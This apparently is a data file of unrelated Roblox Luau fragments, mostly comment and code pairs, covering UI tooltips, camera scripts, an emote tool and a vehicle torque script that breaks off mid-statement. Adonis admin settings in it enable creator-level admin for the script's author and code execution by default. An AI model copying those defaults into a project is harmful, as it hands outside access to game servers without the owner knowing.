errorString = string.format("[Fusion] " .. formatString .. "\n(ID: " .. messageID .. ")\n---- Stack trace ----\n" .. errObj.trace, ...)
end
error(errorString:gsub("\n", "\n "), 0)
end
return logError
|
-- ROBLOX FIXME: add type constraint <EachCallback extends TestCallback>
|
type Each<EachCallback> =
((table: EachTable, ...any) -> ((title: string, test: EachTestFn<EachCallback>, timeout: number?) -> ()))
| (() -> () -> ())
export type HookBase = (testName: TestName, fn: TestFn, timeout: number?) -> ()
export type ItBase = typeof(setmetatable({} :: { each: Each<TestFn> }, {
__call = function(_, testName: TestName, fn: TestFn, timeout: number?): () end,
}))
export type It = ItBase & { only: ItBase, skip: ItBase, todo: (testName: TestName) -> () }
export type ItConcurrentBase = typeof(setmetatable({} :: { each: Each<ConcurrentTestFn> }, {
__call = function(_, testName: string, testFn: ConcurrentTestFn, timeout: number?): () end,
}))
export type ItConcurrentExtended = ItConcurrentBase & { only: ItConcurrentBase, skip: ItConcurrentBase }
export type ItConcurrent = It & { concurrent: ItConcurrentExtended }
export type DescribeBase = typeof(setmetatable({} :: { each: Each<BlockFn> }, {
__call = function(_, blockName: BlockName, blockFn: BlockFn): () end,
}))
export type Describe = DescribeBase & { only: DescribeBase, skip: DescribeBase }
export type TestFrameworkGlobals = {
it: ItConcurrent,
test: ItConcurrent,
fit: ItBase & { concurrent: ItConcurrentBase? },
xit: ItBase,
xtest: ItBase,
describe: Describe,
xdescribe: DescribeBase,
fdescribe: DescribeBase,
beforeAll: HookBase,
beforeEach: HookBase,
afterEach: HookBase,
afterAll: HookBase,
}
export type GlobalAdditions = TestFrameworkGlobals & {
__coverage__: CoverageMapData,
jasmine: Jasmine,
fail: () -> (),
pending: () -> (),
spyOn: () -> (),
spyOnProperty: () -> (),
}
|
-- FUNCTIONS
|
function CollectiveWorldModel.setupWorldModel(zone)
if worldModel then
return worldModel
end
local location = (runService:IsClient() and "ReplicatedStorage") or "ServerStorage"
worldModel = Instance.new("WorldModel")
worldModel.Name = "ZonePlusWorldModel"
worldModel.Parent = game:GetService(location)
return worldModel
end
|
-- Print out the permission level of each player who joins
|
Players.PlayerAdded:Connect(function(player)
local permissionLevel = AdminCommands.getPermissionLevelAsync(player)
print(string.format("%s has a permission level of %d", player.Name, permissionLevel))
end)
|
--<DON'T TOUCH THE SCRIPT UNLESS YOU KNOW WHAT YOU ARE DOING!
|
local RS = game:GetService('ReplicatedStorage')
local TS = game:GetService('TweenService')
local Tool = script.Parent
local TextureArray = {}
local Activated = false
local Debounce = false
local Cooldown = 1
local Prop = nil
local LaughAnim = nil
Tool.Activated:Connect(function()
if not Debounce then
Debounce = true
task.delay(Cooldown, function()
Debounce = false
end)
local Character = Tool.Parent
if not Activated then
Activated = true
LaughAnim = Character.Humanoid:LoadAnimation(RS.MinkV4.Laugh)
LaughAnim:Play()
Character.HumanoidRootPart.Anchored = true
Prop = RS.MinkV4.Props.Tail:Clone()
Prop.Parent = Character
local Attachment = Instance.new('Attachment')
Attachment.Parent = Character.HumanoidRootPart
Attachment.Position = Vector3.new(0,-2.5,0)
local Wave = RS.MinkV4.Effects.Wave:Clone()
Wave.Parent = Attachment
local Smoke = RS.MinkV4.Effects.Smoke:Clone()
Smoke.Parent = Character.HumanoidRootPart
local Pixel = RS.MinkV4.Effects.Pixel:Clone()
Pixel.Parent = Character.HumanoidRootPart
local Laugh = RS.MinkV4.Sound.Laugh:Clone()
Laugh.Parent = Character.HumanoidRootPart
local SmokeSound = RS.MinkV4.Sound.Smoke:Clone()
SmokeSound.Parent = Character.HumanoidRootPart
Laugh:Play()
task.delay(1.6,function()
Laugh:Destroy()
task.wait(0.25)
Character.HumanoidRootPart.Anchored = false
LaughAnim:Stop()
end)
SmokeSound:Play()
local Tween = TS:Create(SmokeSound, TweenInfo.new(1.5), {Volume = 0})
Tween:Play()
Tween.Completed:Connect(function()
SmokeSound:Destroy()
end)
Wave:Emit(2)
Smoke:Emit(100)
Pixel:Emit(50)
for _, Item in ipairs(Character.Humanoid:GetAccessories()) do
local Hair = Item.Handle:FindFirstChild("HairAttachment") ~= nil
if Hair then
TextureArray[Item] = {TextureID = Item.Handle.TextureID, Color = Item.Handle.Color, Material = Item.Handle.Material}
Item.Handle.Color = Color3.fromRGB(168, 168, 168)
Item.Handle.TextureID = ''
Item.Handle.Material = Enum.Material.Neon
end
end
elseif Activated then
Activated = false
local Tween = TS:Create(Prop.Handle, TweenInfo.new(0.5), {Transparency = 1})
Tween:Play()
Tween.Completed:Connect(function()
Prop:Destroy()
end)
for _, Item in ipairs(Character.Humanoid:GetAccessories()) do
local Hair = Item.Handle:FindFirstChild("HairAttachment") ~= nil
if Hair then
Item.Handle.Color = TextureArray[Item].Color
Item.Handle.Material = TextureArray[Item].Material
Item.Handle.TextureID = TextureArray[Item].TextureID
TextureArray[Item] = nil
end
end
end
end
end)
|
-- Tips
|
DEFAULT_FORCED_GROUP_VALUES["tip"] = 1
function Icon:setTip(text)
assert(typeof(text) == "string" or text == nil, "Expected string, got "..typeof(text))
local realText = text or ""
local isVisible = realText ~= ""
local textSize = textService:GetTextSize(realText, 12, Enum.Font.GothamSemibold, Vector2.new(1000, 20-6))
self.instances.tipLabel.Text = realText
self.instances.tipFrame.Size = (isVisible and UDim2.new(0, textSize.X+6, 0, 20)) or UDim2.new(0, 0, 0, 0)
self.instances.tipFrame.Parent = (isVisible and activeItems) or self.instances.iconContainer
self._maid.tipFrame = self.instances.tipFrame
self.tipText = text
local tipMaid = Maid.new()
self._maid.tipMaid = tipMaid
if isVisible then
tipMaid:give(self.hoverStarted:Connect(function()
if not self.isSelected then
self:displayTip(true)
end
end))
tipMaid:give(self.hoverEnded:Connect(function()
self:displayTip(false)
end))
tipMaid:give(self.selected:Connect(function()
if self.hovering then
self:displayTip(false)
end
end))
end
self:displayTip(self.hovering and isVisible)
return self
end
function Icon:displayTip(bool)
if userInputService.TouchEnabled and not self._draggingFinger then return end
-- Determine caption visibility
local isVisible = self.tipVisible or false
if typeof(bool) == "boolean" then
isVisible = bool
end
self.tipVisible = isVisible
-- Have tip position track mouse or finger
local tipFrame = self.instances.tipFrame
if isVisible then
-- When the user moves their cursor/finger, update tip to match the position
local function updateTipPositon(x, y)
local newX = x
local newY = y
local camera = workspace.CurrentCamera
local viewportSize = camera and camera.ViewportSize
if userInputService.TouchEnabled then
--tipFrame.AnchorPoint = Vector2.new(0.5, 0.5)
local desiredX = newX - tipFrame.Size.X.Offset/2
local minX = 0
local maxX = viewportSize.X - tipFrame.Size.X.Offset
local desiredY = newY + THUMB_OFFSET + 60
local minY = tipFrame.AbsoluteSize.Y + THUMB_OFFSET + 64 + 3
local maxY = viewportSize.Y - tipFrame.Size.Y.Offset
newX = math.clamp(desiredX, minX, maxX)
newY = math.clamp(desiredY, minY, maxY)
elseif IconController.controllerModeEnabled then
local indicator = TopbarPlusGui.Indicator
local newPos = indicator.AbsolutePosition
newX = newPos.X - tipFrame.Size.X.Offset/2 + indicator.AbsoluteSize.X/2
newY = newPos.Y + 90
else
local desiredX = newX
local minX = 0
local maxX = viewportSize.X - tipFrame.Size.X.Offset - 48
local desiredY = newY
local minY = tipFrame.Size.Y.Offset+3
local maxY = viewportSize.Y
newX = math.clamp(desiredX, minX, maxX)
newY = math.clamp(desiredY, minY, maxY)
end
--local difX = tipFrame.AbsolutePosition.X - tipFrame.Position.X.Offset
--local difY = tipFrame.AbsolutePosition.Y - tipFrame.Position.Y.Offset
--local globalX = newX - difX
--local globalY = newY - difY
--tipFrame.Position = UDim2.new(0, globalX, 0, globalY-55)
tipFrame.Position = UDim2.new(0, newX, 0, newY-20)
end
local cursorLocation = userInputService:GetMouseLocation()
if cursorLocation then
updateTipPositon(cursorLocation.X, cursorLocation.Y)
end
self._hoveringMaid:give(self.instances.iconButton.MouseMoved:Connect(updateTipPositon))
end
-- Change transparency of relavent tip instances
for _, settingName in pairs(self._groupSettings.tip) do
local settingDetail = self._settingsDictionary[settingName]
settingDetail.useForcedGroupValue = not isVisible
self:_update(settingName)
end
end
|
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388
|
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Accessory")
p = Instance.new("Part")
h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(-0,-0,-1)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0,0.125,-0.325) -- Change these to change the positiones of your hat, as I said earlier.
wait(5) debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
-- Called when the user's rotation type is changed.
-- This is a strong indication the user is in first person
-- and needs to have its first person movement smoothened out.
|
function FpsCamera:OnRotationTypeChanged()
local camera = workspace.CurrentCamera
local subject = camera and camera.CameraSubject
if subject and subject:IsA("Humanoid") then
local rotationType = UserGameSettings.RotationType
if rotationType == Enum.RotationType.CameraRelative then
subject.AutoRotate = false
RunService:BindToRenderStep("FpsCamera", 1000, function (delta)
if subject.AutoRotate or not subject:IsDescendantOf(game) or (subject.SeatPart and subject.SeatPart:IsA("VehicleSeat")) then
RunService:UnbindFromRenderStep("FpsCamera")
return
end
if camera.CameraType.Name == "Scriptable" then
return
end
local rootPart = subject.RootPart
local isGrounded = rootPart and rootPart:IsGrounded()
if rootPart and not isGrounded then
local state = subject:GetState()
local canRotate = true
if self.InvalidRotationStates[state.Name] then
canRotate = false
end
if subject.Sit and subject.SeatPart then
local root = rootPart:GetRootPart()
if root ~= rootPart then
canRotate = false
end
end
if canRotate then
local pos = rootPart.Position
local step = math.min(0.2, (delta * 40) / 3)
local look = camera.CFrame.LookVector
look = (look * XZ_VECTOR3).Unit
local cf = CFrame.new(pos, pos + look)
rootPart.CFrame = rootPart.CFrame:Lerp(cf, step)
end
end
if self:IsInFirstPerson() then
local cf = camera.CFrame
local headPos, headLook = self:GetSubjectPosition(subject)
if headPos then
local offset = (headPos - cf.Position)
cf += offset
camera.CFrame = cf
camera.Focus += offset
end
local shadowAngle = self:GetShadowAngle()
local inView = cf.LookVector:Dot(shadowAngle)
if inView < 0 then
for real, mirror in pairs(self.HeadMirrors) do
mirror.CFrame = real.CFrame + (shadowAngle * 9)
end
end
self.MirrorBin.Parent = (inView < 0 and camera or nil)
else
self.MirrorBin.Parent = nil
end
end)
else
subject.AutoRotate = true
self.MirrorBin.Parent = nil
end
end
end
|
--[[
Initialises all controllers and managers for the client
]]
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
|
--[[
local shakeMagnitude = 0.5 -- Adjust this to change the intensity of the shake
local shakeSpeed = 0.05 -- Adjust this to change the speed of the shake
local rotationMagnitude = 0.05 -- Adjust this to change the intensity of the rotation*
local Shakes = {}
local Time = 0
local function GenerateShakeValue(shake)
local Multiplier = shake["TimeLeft"] / shake["Duration"]
local X = math.noise(Time + math.random(), 0, 0) * shakeMagnitude * Multiplier
local Y = math.noise(0, Time + math.random(), 0) * shakeMagnitude * Multiplier
local Z = math.noise(0, 0, Time + math.random()) * shakeMagnitude * Multiplier
local Pitch = math.noise(Time + math.random(), 0, 0) * rotationMagnitude * Multiplier
local Yaw = math.noise(0, Time + math.random(), 0) * rotationMagnitude * Multiplier
local Roll = math.noise(0, 0, Time + math.random()) * rotationMagnitude * Multiplier
local OffsetVector = Vector3.new(X,Y,Z)
local CFrameAngles = CFrame.Angles(Pitch, Yaw, Roll)
return OffsetVector, CFrameAngles
end
local function NewShake(Power, Duration)
local shake = {}
shake["Duration"] = Duration
shake["Power"] = Power
shake["TimeLeft"] = shake["Duration"]
table.insert(Shakes, shake)
end
local BShake = GUI.Shake
BShake.MouseButton1Click:Connect(function()
end)
while true do
local step = RS.RenderStepped:Wait()
if #Shakes == 0 then continue end
--print("Shakes happenings !")
Time = Time + shakeSpeed * step
--remove time from Shakes
for i, child in ipairs(Shakes) do
if child["TimeLeft"] <= 0 then table.remove(Shakes, table.find(Shakes, child)) continue end
child["TimeLeft"] -= step
--print("A SHAKE RIGHT HERE")
end
local SumCameraOffset, SumCFrameAngles = Vector3.new(0,0,0), CFrame.Angles(0,0,0)
for i, child in ipairs(Shakes) do
local ChildCameraOffset,ChildCFramesAngles = GenerateShakeValue(child)
print(ChildCameraOffset)
SumCameraOffset += ChildCameraOffset
SumCFrameAngles *= ChildCFramesAngles
end
--Final step of applying the final camera shake
-- print(SumCameraOffset)
-- print(SumCFrameAngles)
Humanoid.CameraOffset = SumCameraOffset
workspace.CurrentCamera.CFrame = workspace.CurrentCamera.CFrame * SumCFrameAngles
end
--]]
| |
--[[
REFERENCE:
command_full_name: The name of a command (e.g. :cmds)
[command_full_name] = {
Player = 0;
Server = 0;
Cross = 0;
}
]]
|
}
settings.HttpWait = 60 -- How long things that use the HttpService will wait before updating again
settings.Trello_Enabled = false -- Are the Trello features enabled?
settings.Trello_Primary = "" -- Primary Trello board
settings.Trello_Secondary = {} -- Secondary Trello boards (read-only) Format: {"BoardID";"BoardID2","etc"}
settings.Trello_AppKey = "" -- Your Trello AppKey Link: https://trello.com/app-key
settings.Trello_Token = "" -- Trello token (DON'T SHARE WITH ANYONE!) Link: https://trello.com/1/connect?name=Trello_API_Module&response_type=token&expires=never&scope=read,write&key=YOUR_APP_KEY_HERE
settings.Trello_HideRanks = false -- If true, Trello-assigned ranks won't be shown in the admins list UI (accessed via :admins)
settings.G_API = true -- If true allows other server scripts to access certain functions described in the API module through _G.Adonis
settings.G_Access = false -- If enabled allows other scripts to access Adonis using _G.Adonis.Access; Scripts will still be able to do things like _G.Adonis.CheckAdmin(player)
settings.G_Access_Key = "Example_Key" -- Key required to use the _G access API; Example_Key will not work for obvious reasons
settings.G_Access_Perms = "Read" -- Access perms
settings.Allowed_API_Calls = {
Client = false; -- Allow access to the Client (not recommended)
Settings = false; -- Allow access to settings (not recommended)
DataStore = false; -- Allow access to the DataStore (not recommended)
Core = false; -- Allow access to the script's core table (REALLY not recommended)
Service = false; -- Allow access to the script's service metatable
Remote = false; -- Communication table
HTTP = false; -- HTTP related things like Trello functions
Anti = false; -- Anti-Exploit table
Logs = false;
UI = false; -- Client UI table
Admin = false; -- Admin related functions
Functions = false; -- Functions table (contains functions used by the script that don't have a subcategory)
Variables = true; -- Variables table
API_Specific = true; -- API Specific functions
}
settings.FunCommands = true -- Are fun commands enabled?
settings.PlayerCommands = true -- Are player-level utility commands enabled?
settings.CommandFeedback = false -- Should players be notified when commands with non-obvious effects are run on them?
settings.CrossServerCommands = true -- Are commands which affect more than one server enabled?
settings.ChatCommands = true -- If false you will not be able to run commands via the chat; Instead you MUST use the console or you will be unable to run commands
settings.CreatorPowers = true -- Gives me creator level admin; This is strictly used for debugging; I can't debug without full access to the script
settings.CodeExecution = true -- Enables the use of code execution in Adonis; Scripting related (such as :s) and a few other commands require this
settings.SilentCommandDenials = false -- If true, there will be no differences between the error messages shown when a user enters an invalid command and when they have insufficient permissions for the command
settings.BanMessage = "Banned" -- Message shown to banned users upon kick
settings.LockMessage = "Not Whitelisted" -- Message shown to people when they are kicked while the game is :slocked
settings.SystemTitle = "System Message" -- Title to display in :sm and :bc
settings.MaxLogs = 5000 -- Maximum logs to save before deleting the oldest
settings.SaveCommandLogs = true -- If command logs are saved to the datastores
settings.Notification = true -- Whether or not to show the "You're an admin" and "Updated" notifications
settings.SongHint = true -- Display a hint with the current song name and ID when a song is played via :music
settings.TopBarShift = false -- By default hints and notifs will appear from the top edge of the window, this is acheived by offsetting them by -35 into the transparent region where roblox buttons menu/chat/leaderstat buttons are. Set this to true if you don't want hints/notifs to appear in that region.
settings.Messages = {} -- A list of notification messages to show HeadAdmins and above on join
settings.AutoClean = false -- Will auto clean workspace of things like hats and tools
settings.AutoCleanDelay = 60 -- Time between auto cleans
settings.AutoBackup = false -- (not recommended) Run a map backup command when the server starts, this is mostly useless as clients cannot modify the server. To restore the map run :restoremap
settings.Console = true -- Whether the command console is enabled
settings.Console_AdminsOnly = false -- If true, only admins will be able to access the console
settings.HelpSystem = true -- Allows players to call admins for help using !help
settings.HelpButton = true -- Shows a little help button in the bottom right corner.
settings.HelpButtonImage = "rbxassetid://357249130" -- Change this to change the help button's image
settings.DonorCapes = true -- Donors get to show off their capes; Not disruptive :)
settings.DonorCommands = true -- Show your support for the script and let donors use harmless commands like !sparkles
settings.LocalCapes = false -- Makes Donor capes local so only the donors see their cape [All players can still disable capes locally]
settings.Detection = true -- Attempts to detect certain known exploits
settings.CheckClients = true -- Checks clients every minute or two to make sure they are still active
settings.ExploitNotifications = true -- Notify all moderators and higher ups when a player is kicked or crashed from the AntiExploit
settings.CharacterCheckLogs = false -- If the character checks appear in exploit logs and exploit notifications
settings.AntiNoclip = false -- Attempts to detect noclipping and kills the player if found
settings.AntiRootJointDeletion = false -- Attempts to detect paranoid and kills the player if found
settings.AntiHumanoidDeletion = false -- (Very important) Prevents invalid humanoid deletion. Un-does the deletion and kills the player
settings.AntiMultiTool = false -- Prevents multitooling and because of that many other exploits
settings.AntiGod = false -- If a player does not respawn when they should have they get respawned
settings.AntiSpeed = true -- (Client-Sided) Attempts to detect speed exploits
settings.AntiBuildingTools = false -- (Client-Sided) Attempts to detect any HopperBin(s)/Building Tools added to the client
settings.AntiClientIdle = false -- (Client-Sided) Kick the player if they are using an anti-idle exploit
settings.ProtectHats = false -- Prevents hats from being un-welded from their characters through unnormal means
|
-- Function that gets called when change in player's locale ID is detected
|
local function OnLocaleIdChanged()
print("Translator has changed to: " .. translator.LocaleId)
-- You should re-translate any assets translated with Localization APIs to the player's new language here
end
|
-- Extra padding to pull the camera further back from the viewport object.
--
-- We use the getDepthToFitObject() function to get an accurate depth to push
-- the camera back to fit the object, however this only works at 90 degree
-- rotations.
--
-- Since the camera is constantly rotating around the object, this is just some
-- extra padding to pull the camera back even further so the sides of the object
-- don't clip.
|
local DEPTH_PADDING = 2 -- studs
local PINCH_DELTA_TO_ZOOM_DELTA = 0.1
|
--[=[
@param obj any
Throws an error if `obj` is not an Option.
]=]
|
function Option.Assert(obj)
assert(Option.Is(obj), "Result was not of type Option")
end
|
--print(speed/1.298)
--print(carSeat.Parent.Parent.Wheels.FL.Wheel.RotVelocity.Magnitude)
|
--print("Speed: "..speed)
--print("Wheels: "..math.abs(orderch))
if carSeat.Storage.Automatic.Value == true and currentgear.Value > 2 and script.Parent.Active.CC.Value == false then --hpatt cant be automatic
if rpm.Value <= redline.Value*0.2 and currentgear.Value > 3 then
script.Parent.Functions.ShiftDownRequested.Value = true
elseif rpm.Value >= redline.Value*0.9*mode and script.Parent.Storage.Throttle.Throttle.Value > 0.1 and currentgear.Value ~= script.Parent.Storage.AmountOfGears.Value +2 and shf == true then
script.Parent.Functions.ShiftUpRequested.Value = true
elseif x1x*trans.Value <= redline.Value*0.8*mode and x1x*trans.Value < redline.Value*0.9*mode and currentgear.Value > 3 and script.Parent.Storage.Throttle.Throttle.Value > 0.6 then
if currentgear.Value > 3 then
script.Parent.Functions.ShiftDownRequested.Value = true
end
end
end
if currentgear.Value == 1 then
park = 0
else
park = 1
end
if carSeat.Throttle ~= -1 and carSeat.Storage.Handbrake.Value ~= true then
if script.Parent.Functions.ShiftDownRequested.Value ~= true and script.Parent.Functions.ShiftUpRequested.Value ~= true then
if rpm.Value > redline.Value then else
FL.MotorMaxAcceleration = 10+(((0.001*(m*2))*rpm.Value)+((46*m)*convert)*(low*6.5))*four*throttle.Value
FR.MotorMaxAcceleration = 10+(((0.001*(m*2))*rpm.Value)+((46*m)*convert)*(low*6.5))*four*throttle.Value
RL.MotorMaxAcceleration = 10+(((0.001*(m*2))*rpm.Value)+((46*m)*convert)*(low*6.5))*four*throttle.Value
RR.MotorMaxAcceleration = 10+(((0.001*(m*2))*rpm.Value)+((46*m)*convert)*(low*6.5))*four*throttle.Value
end
if currentgear.Value ~= 1 and carSeat.Throttle ~= -1 then
if throttle.Value ~= 0 then
if script.Parent.Storage.EngineType.Value == "Petrol" then tL = (0.45*vt)*TC
if rpm.Value < 2000*convert then
FL.MotorMaxTorque = b*((((((rpm.Value * (1.035*((xans/1.4)/900)))*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70))*mid*ft)*ovo*checkcluch)/ch)*tL*xi
FR.MotorMaxTorque = b*((((((rpm.Value * (1.035*((xans/1.4)/900)))*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70))*mid*ft)*ovo*checkcluch)/ch)*tL*xi
RL.MotorMaxTorque = b*((((((rpm.Value * (1.035*((xans/1.4)/900)))*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70))*mid*rt)*ovo*checkcluch)/ch)*tL*xi
RR.MotorMaxTorque = b*((((((rpm.Value * (1.035*((xans/1.4)/900)))*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70))*mid*rt)*ovo*checkcluch)/ch)*tL *xi
FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
end
if rpm.Value > 2000*convert and rpm.Value < 6000*convert then
FL.MotorMaxTorque = b*(((((rpm.Value * (0.488*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo*checkcluch)*tL*xi script.lp.Value = false
FR.MotorMaxTorque = b*(((((rpm.Value * (0.488*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo*checkcluch)*tL*xi
RL.MotorMaxTorque = b*(((((rpm.Value * (0.488*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo*checkcluch)*tL*xi
RR.MotorMaxTorque = b*(((((rpm.Value * (0.488*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo*checkcluch)*tL *xi
FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park script.lp.Value = true
RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
end
if rpm.Value > 6000*convert then
FL.MotorMaxTorque = b*(((((rpm.Value * (-0.214*((xans/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*checkcluch)*tL*xi
FR.MotorMaxTorque = b*(((((rpm.Value * (-0.214*((xans/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*checkcluch)*tL*xi
RL.MotorMaxTorque = b*(((((rpm.Value * (-0.214*((xans/1.4)/900)))+6000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*checkcluch)*tL*xi
RR.MotorMaxTorque = b*(((((rpm.Value * (-0.214*((xans/1.4)/900)))+6000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*checkcluch)*tL *xi
FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
end
if rpm.Value > redline.Value then
FL.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5
FR.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5
RL.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5
RR.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5
FL.AngularVelocity = 0
FR.AngularVelocity = 0
RL.AngularVelocity = 0
RR.AngularVelocity = 0
FL.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*ft)*ovo+xt)*2
FR.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*ft)*ovo+xt)*2
RL.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*((torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*rt)*ovo+xt)*2
RR.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*((torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*rt)*ovo+xt)*2
end
end
if script.Parent.Storage.EngineType.Value == "Diesel" then tL = (0.475*vt)*TC
if rpm.Value < 2000*convert then
FL.MotorMaxTorque = b*(((((rpm.Value * (1.679*((xans/1.4)/900)))*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)/ch)*tL*xi
FR.MotorMaxTorque = b*(((((rpm.Value * (1.679*((xans/1.4)/900)))*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)/ch)*tL*xi
RL.MotorMaxTorque = b*(((((rpm.Value * (1.679*((xans/1.4)/900)))*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)/ch)*tL*xi
RR.MotorMaxTorque = b*(((((rpm.Value * (1.679*((xans/1.4)/900)))*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)/ch)*tL*xi
FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
end
if rpm.Value > 2000*convert and rpm.Value < 4500*convert then
FL.MotorMaxTorque = b*(((((rpm.Value * (0.880*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi
FR.MotorMaxTorque = b*(((((rpm.Value * (0.880*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi
RL.MotorMaxTorque = b*(((((rpm.Value * (0.880*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi
RR.MotorMaxTorque = b*(((((rpm.Value * (0.880*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi
FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
end
if rpm.Value > 4500*convert then
FL.MotorMaxTorque = b*(((((rpm.Value * (-0.204*((xans/1.4)/900)))+4500)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi
FR.MotorMaxTorque = b*(((((rpm.Value * (-0.204*((xans/1.4)/900)))+4600)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi
RL.MotorMaxTorque = b*(((((rpm.Value * (-0.204*((xans/1.4)/900)))+4500)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi
RR.MotorMaxTorque = b*(((((rpm.Value * (-0.204*((xans/1.4)/900)))+4500)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi
FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
end
if rpm.Value > redline.Value then
FL.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5
FR.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5
RL.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5
RR.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5
FL.AngularVelocity = 0
FR.AngularVelocity = 0
RL.AngularVelocity = 0
RR.AngularVelocity = 0
FL.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*ft)*ovo+xt)*2
FR.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*ft)*ovo+xt)*2
RL.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*((torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*rt)*ovo+xt)*2
